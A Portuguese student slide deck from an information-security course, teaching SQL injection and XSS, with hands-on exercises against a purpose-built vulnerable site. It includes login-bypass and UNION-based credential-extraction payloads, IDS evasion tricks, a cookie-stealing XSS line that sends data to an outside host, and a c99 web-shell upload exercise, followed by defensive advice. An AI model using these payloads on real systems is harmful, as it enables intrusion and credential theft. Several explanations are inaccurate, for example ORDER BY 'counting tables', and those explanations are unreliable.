Apresentação - SQL Injection - Carlos, Clodivaldo, Lairson

SAVE OFFLINE

SQL Injection |

Auditoria e Segurança da Informação Sistemas de Informação

Carlos Silva | Clodivaldo Vieira | Lairson Alencar CIn.ufpe.br

Plano de Aula • • • • • • • • • • • • • • • •

O que é SQL Injection? O que faz um cracker? Quando um BD é invadido Funcionamento Erro Vulnerável O Ataque As consequências do ataque Métodos de Ataque Poorly Filtered Strings Incorrect type handling Signature Evasion Filter Bypassing Blind SQL Injection Prática 01 XSS - Cross-site-scripting Prática 02

• • • • • • • • • • • • •

Ataque ao admin Prática 03 Ferramentas para Ataque Prática 04 File Injection / Shell Prática 05 SQL Injection - Como se proteger? XSS (Cross-site-scripting) - Como se pr Ferramentas - Proteção Acunetix SQL Map Vídeos Referências CIn.ufpe.br

O que é SQL Injection?

CIn.ufpe.br

CIn.ufpe.br

O que é SQL Injection? • O SQL Injection é a primeira mais comum vulnerabilidade em aplicações web, de acordo com o Open Web Application Security Project. • É um ataque contra um banco de dados de uma empresa via web site. • Nesse ataque, os crackers executam comandos não autorizados de SQL ao aproveitar sistemas inseguros que estão conectados na Internet. CIn.ufpe.br

O Cracker

CIn.ufpe.br

O que faz um cracker? • Um cracker injeta a query SQL na aplicação usando um navegador web comum. • O objetivo é injetar linguagem SQL maliciosa dentro do que a aplicação usa para fazer query no banco de dados. • Tudo o que o criminoso precisa é de “um navegador web, conhecimento em queries SQL e um trabalho criativo de adivinhação para saber nomes de tabelas e de campos”. CIn.ufpe.br

Quando o banco de dados é invadido... • ... o cracker pode ler dados sensíveis do banco de dados, modificá-los. • Além disso, ele pode realizar operações como o fechamento do BD e potencialmente enviar comandos diretamente para o sistema operacional.

CIn.ufpe.br

Funcionamento • Para exemplificar o funcionamento da injeção de SQL, consideremos uma instrução SQL comum:

• SELECT id, nome, sobrenome FROM autores; • Uma consulta na base de dados, retorna todos os registros das colunas "id", "nome" e "sobrenome" da tabela "autores". CIn.ufpe.br

Funcionamento

• Com base nesta instrução, é fácil supor que "josé" e "silva" são strings, cujo conteúdo será preenchido pela entrada feita por algum usuário que estiver fazendo uso da aplicação.

CIn.ufpe.br

Funcionamento • Portanto, supondo que a aplicação não faça o tratamento apropriado do conteúdo inserido pelo usuário, o mesmo pode fazer o uso acidental do caractere de aspas simples, por exemplo. • Gerando a entrada: – nome = jo'sé – sobrenome = silva

CIn.ufpe.br

Funcionamento

• E fazendo com que a aplicação gere o código:

• SELECT id, nome, sobrenome FROM autores WHERE nome = 'jo'sé' AND sobrenome = 'silva';

CIn.ufpe.br

Funcionamento

• De acordo com a especificação da linguagem SQL, existe um erro de sintaxe nessa instrução, uma vez que a string passada para o campo nome é a apenas palavra "jo", pois a adição das aspas simples quebrou a delimitação das aspas simples originais da consulta.

CIn.ufpe.br

Funcionamento

• O interpretador do SQL espera que o restante da instrução seja outros comandos SQL válidos que complementem a instrução principal.

• No entanto, como "sé" não é um identificador válido, essa instrução não será executada e retornará um erro.

CIn.ufpe.br

Erro Vulnerável...

CIn.ufpe.br

Erro Vulnerável...

CIn.ufpe.br

O Ataque • Com base neste problema, um possível atacante pode manipular os dados de entrada a fim de gerar um comportamento não esperado na base de dados.

CIn.ufpe.br

O Ataque

CIn.ufpe.br

O Ataque • Para exemplificar este conceito, consideremos na mesma consulta apresentada, a entrada dos seguintes dados pela aplicação:

nome = jo'; DROP TABLE autores; -sobrenome = silva CIn.ufpe.br

O Ataque • Fazendo com que a aplicação gere o código:

SELECT id, nome, sobrenome FROM autores WHERE nome = 'jo'; DROP TABLE autores; --' AND sobrenome = 'silva'; CIn.ufpe.br

O Ataque • Neste caso, a instrução será executada normalmente, pois não há um erro de sintaxe, no entanto, com a adição do caractere pontoe-vírgula, a instrução foi dada como finalizada de modo prematuro dando espaço para uma nova instrução.

CIn.ufpe.br

O Ataque • Essa nova instrução, que poderia ser qualquer uma escolhida pelo atacante: (1) pode ser a responsável por retornar dados confidenciais armazenados na base de dados ou; (2) de executar instruções que comprometam o sistema, como a remoção de dados e/ou tabelas. CIn.ufpe.br

As consequências do ataque • Dados críticos podem ser modificados ou enviados para outros computadores longe da empresa. • Os crackers também podem usar as SQL Injection para conectar nos sistemas corporativos como se fosse um usuário autorizado, driblando a necessidade de uma senha.

CIn.ufpe.br

Métodos de ataque - SQLi • Atualmente existem 5 tipos de SQLi (injeção de sql)

• • • • •

Poorly Filtered Strings Incorrect type handling Signature Evasion Filter Bypassing Blind SQL Injection CIn.ufpe.br

Poorly Filtered Strings • Ataques de SQLi baseado em strings mal filtradas

• São causados quando a entrada que o usuário faz ao sistema não é escapada. • Isto significa que um usuário pode inserir uma variável que pode ser transmitida com uma instrução SQL, resultando em manipulação de entrada de dados pelo usuário final (através do navegador). CIn.ufpe.br

Poorly Filtered Strings • Exemplo:

• Selecionar a senha do banco de dados de usuários $pass = $_GET['pass']; $password = mysql_query("SELECT password FROM users WHERE password = '". $pass . "';");

CIn.ufpe.br

Poorly Filtered Strings • Como o valor do password esta armazenado em $var, se o usuário digitar uma senha que é permitida para a chamada de SQL, teremos um exemplo de strings mal-filtradas. • Este exemplo acima pode ser explorado facilmente usando: ' OR 1 = 1 /*

• Ou seja: CIn.ufpe.br

Poorly Filtered Strings • Segue o resultado: SELECT password FROM users WHERE password = '' OR 1 = 1 /*

• Nesta consulta, a verificação é igual a $var, como 1 é igual a 1 portanto a consulta retornara TRUE, resultando então em um login positivo.

CIn.ufpe.br

Incorrect type handling • Manipulação de tipo incorreto. Ocorre quando uma entrada não é verificada para restrições desse tipo. • Um exemplo é quando o campo ID é numérico, mas não há nenhuma filtragem para validar estes input (is_numeric() por exemplo) • Um exemplo NÃO VULNERÁVEL a este tipo de ataque, em php, por exemplo: CIn.ufpe.br

Incorrect type handling (is_numeric($_GET['id'])) ? $id = $_GET['id'] : $id = 1; $news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );

• O que fazemos é checar se $_GET['id'] é um número. • Se for TRUE retorna $id=$_GET[ 'id' ] e se for falso seta o $id para 1. Logo, evita ataques. CIn.ufpe.br

Signature Evasion • Muitas injeções de SQL serão bloqueadas por sistemas de detecção de intrusão e prevenção de intrusos (chamados de IDS/IPS), usando regras para detectá-los. Os mais conhecidos são "Mod_Security" e o "Snort".

• Todavia, existem muitos métodos de escapar destas proteções.

CIn.ufpe.br

Signature Evasion • Different Encondig (Codificação diferente)

• Pode ser facilmente explorada usando o próprio enconding da URL: • NULL OR 1 = 1/* seria mascarada como: NULL+OR+1%3D1%2F%2A

• Assim, o sistema de detecção de intruso (IDS) não pode registrar este ataque, e então iremos bypassar esta assinatura. CIn.ufpe.br

Signature Evasion • White Space Multiplicity (Multiplicidade de espaços em branco) • É comum alguns bancos de dados checar algumas strings como "OR " (OR seguido por um espaço), podemos ignorar estas assinaturas utilizando técnicas de espaçamento diferente do padrão ou adicionando uma nova linha seguida de espaço.

CIn.ufpe.br

Signature Evasion • White Space Multiplicity (Multiplicidade de espaços em branco) • Exemplo: NULL OR 'value'='value'/*

O espaço em branco dentro da injeção será substituída por uma nova linha: NULL%0aOR%0a'value'='value'/*

O que teremos no server? NULL OR 'value'='value'/*

CIn.ufpe.br

Signature Evasion • Arbitrary String Patterns • No MySQL os comentários podem ser inseridos em uma consulta usando sintaxe de C: • /* para iniciar o comentário • */ para encerrá-lo

• Podemos usar estes comentários para evitar a detecção das assinaturas. CIn.ufpe.br

Signature Evasion • Arbitrary String Patterns • Este exemplo pode ser facilmente detectado pelo IPS (Sistema de Prevenção de Invasão). NULL UNION ALL SELECT user,pass, FROM user_db WHERE user LIKE '%admin%/*

• Portanto se colocarmos os comentários o mesmo IDS pode não identificá-la: NULL/**/UNION/**/ALL/**/SELECT/**/user,pass,/**/FR OM/**/user_db/**/WHERE/**/uid/**/=/*evade*/'1'// CIn.ufpe.br

Filter Bypassing • Em alguns casos, filtros como addslashes() e magic_quotes_gpc podem ser bypassado quando o servidor de SQL vulnerável usa um determinado conjunto de caracteres GBK (caracteres usado pela população da República da China).

• Neste charset o valor hex de 0xbf27 não é um multi-byte caracter, entretanto o valor é 0xbf5c. • Se os caracteres são construídos como caracteres de byte unico 0xbf5c é 0xbf (¿) seguido por 0x5c ( / ); ¿\. E 0xbf27 é 0x27 ('), onde teremos um 0xbf(¿); ¿', ou seja - acontece quando a aspas simples é escapada com uma barra invertida(). CIn.ufpe.br

Blind SQL Injection • A grande maioria dos ambientes seguros de SQL não permitem que você veja a saída na forma de mensagens de erros. • Ou seja, a aplicação web poder ser vulnerável a uma injeção de SQL, mas os resultados não são visíveis para o atacante.

CIn.ufpe.br

Blind SQL Injection

• Exemplo:

SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND '1'='1';

Vai resultar em uma página normal: SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND '1'='2';

Agora teremos o resultado diferente e podemos manipular qualquer resultado quando: SELECT 1/0 FROM users WHERE username='ooo';

Se a página for vulnerável, teremos uma resposta diferente e o ataque pode começar a ser construído.

CIn.ufpe.br

Prática • Acessar site vulnerável e injetar SQL malicioso para conseguir os dados. • Para efeito didático, elaboramos um sistema com várias vulnerabilidades para utilizarmos nessa prática.

• http://invadir.eu5.org/ CIn.ufpe.br

Prática – Passo 01 • Descobrindo se um site é vulnerável • Para verificar se ele esta vulnerável é bem simples basta adicionar uma ASPAS no final de um parâmetro GET, no nosso caso, um número de ID da notícia.

CIn.ufpe.br

Prática – Passo 01

• Se aparecer uma mensagem de erro SQL o site está vulnerável, se o site carregar normalmente ele não está vulnerável. CIn.ufpe.br

Prática – Passo 02 • Descobrindo o total de tabelas do banco de dados.

• Vamos procurar quantas tabelas o site possui com o comando ORDER BY, por exemplo. • Ou seja, inserimos o ORDER BY no final do parâmetro na URL

CIn.ufpe.br

Prática – Passo 02 • http://invadir.eu5.org/not.php?id=2 order by 1

• http://invadir.eu5.org/not.php?id=2 order by 2 • .....Até o ponto que o site não carregue mais normalmente.

CIn.ufpe.br

Prática – Passo 02 • http://invadir.eu5.org/not.php?id=2 order by 4

• Com o ORDER BY 4, o site retornou uma mensagem de erro SQL, com isso verificamos que o site possui 3 tabelas. • Agora vamos unir as tabelas para saber em qual está.

CIn.ufpe.br

Prática – Passo 02 • Para isso, utilizamos o comando abaixo:

• http://invadir.eu5.org/not.php?id=-2 union all select 1,2,3--

CIn.ufpe.br

Prática – Passo 02 • Para isso, utilizamos o comando abaixo:

• http://invadir.eu5.org/not.php?id=-2 union all select 1,2,3--

A tabela que contém as informações! CIn.ufpe.br

Prática – Passo 03 • Listando as tabelas e suas respectivas colunas.

• Depois de ter unido as tabelas vamos lista-las com o comando: • http://invadir.eu5.org/not.php?id=-2 union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema =database()-CIn.ufpe.br

Prática – Passo 03

CIn.ufpe.br

Prática – Passo 03

•Tabela Alvo! CIn.ufpe.br

Prática – Passo 04 • Agora que descobrimos o nome da tabela, vamos listar seus campos! • Utilizamos o comando abaixo:

• http://invadir.eu5.org/not.php?id=-2 union all select 1,group_concat(column_name),3 from information_schema.columns where table_name='usuarios'-CIn.ufpe.br

Prática – Passo 04

CIn.ufpe.br

Prática – Passo 04

Com isso, podemos resgatar os dados de acesso.

CIn.ufpe.br

Prática – Passo 05 • Obtendo os dados de acesso.

• http://invadir.eu5.org/not.php?id=-2 union all select 1,concat(Login,0x3a,senha),3 from usuarios-• Ou seja, ele vai selecionar o login e a senha da tabela usuarios, o comando “0x3a” é o ponto e vírgula e vai separar o login e a senha. CIn.ufpe.br

Prática – Passo 05

• Logo, podemos procurar um o caminho administrativo, por exemplo, usando o programa “Admin Finder” ou tentando os links mais conhecidos “/adm”, “/admin”, etc... http://sourceforge.net/projects/adminfinder/

CIn.ufpe.br

Prática – Passo 05

• Voltaremos ao “admin” mais na frente.

CIn.ufpe.br

XSS – Cross-site scripting • Cross-site scripting (XSS) é um tipo de vulnerabilidade do sistema de segurança de um computador, encontrado normalmente em aplicações web que ativam ataques maliciosos ao injetarem client-side script dentro das páginas web vistas por outros usuários.

• Através de um XSS, o cracker injeta códigos JavaScript em um campo texto de uma página já existente e este JavaScript é apresentado para outros usuários, porque persiste na página. CIn.ufpe.br

XSS – Cross-site scripting • Exemplo: • Imaginem que o cracker insira em um fórum de um website alvo de ataque, um texto que contenha um trecho de JavaScript. • Este JavaScript poderia, por exemplo, simular a página de login do site, capturar os valores digitados e enviá-los a um site que os armazene. Quando o texto do fórum for apresentado a outros usuários, o site atacado pelo XSS exibirá o trecho de JavaScript digitado anteriormente nos browsers de todos os usuários, provocando a brecha de ataque. • O invasor envia um script para o servidor:malicious.js... = SYN onde o servidor recebe o script e interpreta uma nova página inserindo o código como resposta da requisição ao atacante = SYN/ACK. Por fim o atacante recebe a resposta em seu browser = ACK

CIn.ufpe.br

XSS – Cross-site scripting • Prática 02

• Injetar um script malicioso que copia todos os cookies e dados salvos •

document.location="http://www.google.com.br/cook ie.cgi?" + document.cookie

• (início de outro procedimento, chamado Roubo de Sessão!) CIn.ufpe.br

Ataque ao admin

CIn.ufpe.br

Ataque ao admin

CIn.ufpe.br

Ataque ao admin • x' OR 'x' = 'x • É um dos termos mais usado para a injeção de SQL. • Inserido em formulários vulneráveis, de modo que o usuário pode obter informações valiosas, ex. uma lista de senhas ou acesso a um administrativo. CIn.ufpe.br

Ataque ao admin • Exemplo: • SELECT * from members WHERE user = x' OR 'x' = 'x‘

• Essa consulta, em vez de devolver o membro "x" retornaria cada membro na base de dados. CIn.ufpe.br

Ataque ao Admin

CIn.ufpe.br

Ataque ao Admin • Prática 03

• Acessar o administrativo http://invadir.eu5.org/adm/ a partir de injection: • x' OR 'x' = 'x • ' OR 1 = 1 -CIn.ufpe.br

Ferramentas - Ataques

• Havij • Havij é uma ferramenta automatizada de injeção SQL que ajuda os testadores de invasão a encontrar e explorar vulnerabilidades de BD na Web.

CIn.ufpe.br

Ferramentas - Ataques

CIn.ufpe.br

Prática 04

• Uso do Havij

CIn.ufpe.br

File Injection / Shell • Ocorre em campos para upload de arquivos para o site.

• Muito utilizado em upload de fotos, arquivos de currículos, etc. • Uma pessoa mal intencionada poderá fazer upload de xploits do mais diversos tipos e que exploram diversas falhas em servidores, desde falha em permissões até a execução de códigos maliciosos. CIn.ufpe.br

File Injection / Shell • Ataques realizado através destes xploits são muito difíceis de detectar pois são originados na porta 80, e o armazenamento desse xploit poderá ser feito em qualquer diretório do site que esteja acessível pela porta 80.

• Exemplos: • Rhtools • C99 CIn.ufpe.br

File Injection / Shell • Prática 05

• Injetar o c99! • Mais do C99: • http://www.hackw0rm.com/2013/06/C99Shell-backdoor.html

CIn.ufpe.br

SQL Injection - Como se proteger? • De acordo com a OWASP as melhores práticas para se previnir de um ataque de SQLi são: • • • •

Parametrização das consultas Usar "stored procedures" Escapar toda entrada fornecida pelo usuário Limitar privilégios aos acessos CIn.ufpe.br

SQL Injection - Como se proteger? • De acordo com a OWASP as melhores práticas para se previnir de um ataque de SQLi são: • • • •

Parametrização das consultas Usar "stored procedures" Escapar toda entrada fornecida pelo usuário Limitar privilégios aos acessos CIn.ufpe.br

SQL Injection - Como se proteger? • Além delas, podemos citar: • Não afixar mensagens de erro explícitas que mostram o pedido ou uma parte do pedido SQL. • Logo, mostrar mensagens de erros padrão no servidor ou direto nas páginas.

• Em php, por exemplo, podemos usar o “Die()” que exibe uma mensagem definida pelo programador e para o processamento da página. CIn.ufpe.br

SQL Injection - Como se proteger? • • • • • • • • • • • •

Checar pelos caracteres: " (aspas duplas) ' (aspas simples) (espaços) ; (ponto e vírgula) = (sinal de igual) < (sinal de menor que) > (sinal de maior que) ! (ponto de exclamação) -- (dois hifens, indica início de comentário em alguns bancos) # (sustenido ou jogo-da-velha, indica início de comentário em alguns bancos) // (duas barras, indica início de comentário em alguns bancos)

CIn.ufpe.br

SQL Injection - Como se proteger? • • • • • • • • •

Ou pelas palavras reservadas • - NOT - SELECT • - IN - INSERT • - LIKE - UPDATE • - TRUNCATE - DELETE • - DROP - WHERE • - CREATE - JOIN • - ALTER - LEFT • - DELIMITER - INNER CIn.ufpe.br

SQL Injection - Como se proteger? • No Perl deve-se usar expressão regular de validação; • No PHP a função htmlspecialchars, addslashes, htmlentities ou mysql_real_escape_string.

• Dentre vários outras opções, SIMPLES, mas que por muitos programarem mal, deixam essas brechas que podem comprometer todo um sistema/site! CIn.ufpe.br

XSS (Cross-site-scripting) - Como se proteger? • Validação de entrada: • É necessário que a aplicação realize uma validação dentro do contexto daquele conteúdo, tornando-o mais restrito possível, por exemplo: • Limitando o tamanho do campo a ser inserido • Definindo o conjunto de caracteres aceito pela aplicação • Estabelecendo uma expressão regular para os dados CIn.ufpe.br

XSS (Cross-site-scripting) - Como se proteger? • Validação de saída: • Agora é a vez da aplicação copiar em suas respostas os dados que originados por algum usuário ou até mesmo por terceiros. Estes dados devem ser codificados em HTML para tratar potenciais caracteres maliciosos. Codificação em HTML é a técnica de substituir os caracteres literais pela sua entidade HTML correspondente. Isto garante que o navegador, browser, irá exibir, como saída, tais caracteres de forma segura, tratando-o como parte do documento HTML e não da sua estrutura. Alguns deste caracteres são: CIn.ufpe.br

XSS (Cross-site-scripting) - Como se proteger? • Validação de saída: " ' & < >

→ → → → →

" ' & < >

• Os caracteres também podem ser representados por seu código correspondente na tabela ASCII: % → % * → * CIn.ufpe.br

XSS (Cross-site-scripting) - Como se proteger? • Validação de saída: • Há algumas funções que fazem a codificação automaticamente para o desenvolvedor: • PHP • htmlspecialchars(), htmlentities() • ASP.NET • Server.HTMLEncode() CIn.ufpe.br

XSS (Cross-site-scripting) - Como se proteger? • Validação de saída:

CIn.ufpe.br

Ferramentas - Proteção

• Acunetix • Acunetix é uma ferramenta automatizada que vasculha seu site atrás de vulnerabilidades, seja de injeção SQL, XSS (XSS – Crosssite scripting), etc... Gerando relatórios extensivos e detalhados. • http://www.acunetix.com/

CIn.ufpe.br

Ferramentas - Proteção

• SQL Map • SQL Map é uma ferramenta automática em linha de comando para testes de sql-injection. • http://sqlmap.org • https://github.com/sqlmapproject/sqlmap

CIn.ufpe.br

Vídeos • Outros ataques:

• Sql injection explained • http://www.youtube.com/watch?v=PB7hWlqTSqs • XSS Cross Site Scripting Demonstration • http://www.youtube.com/watch?v=BUsf4ww5GEQ CIn.ufpe.br

Referências • https://www.owasp.org/index.php/Cross_Frame_Scripting • http://juancarloscunha.wordpress.com/2009/08/19/tutorial-comoinvadir-com-sql-injection-mysql-sql-injection-por-method-_get-e-_postprograma-para-sqlinjection/ • http://pt.slideshare.net/ShamanTi/estudo-visando-a-mitigao-do-ataquesql-injection-em-aplicaes-web-10554362 • http://wiki.locaweb.com.br/pt-br/Como_se_proteger_do_SQL_Injection • http://www.joomlabrasilia.org/tutoriais-de-joomla/seguranca-ejoomla/152-sql-injection.html CIn.ufpe.br

Referências • • • • • • •

http://pt.wikipedia.org/wiki/Inje%C3%A7%C3%A3o_de_SQL http://php.net/manual/pt_BR/security.database.sql-injection.php http://en.wikipedia.org/wiki/File_inclusion_vulnerability http://en.wikipedia.org/wiki/Code_injection https://www.golemtechnologies.com/articles/shell-injection http://crypto.stanford.edu/cs142/lectures/16-sql-inj.pdf http://en.wikipedia.org/wiki/Cross-site_scripting CIn.ufpe.br

SQL Injection |

Auditoria e Segurança da Informação Sistemas de Informação Carlos Silva | Clodivaldo Vieira | Lairson Alencar

OBRIGADO!!!

CIn.ufpe.br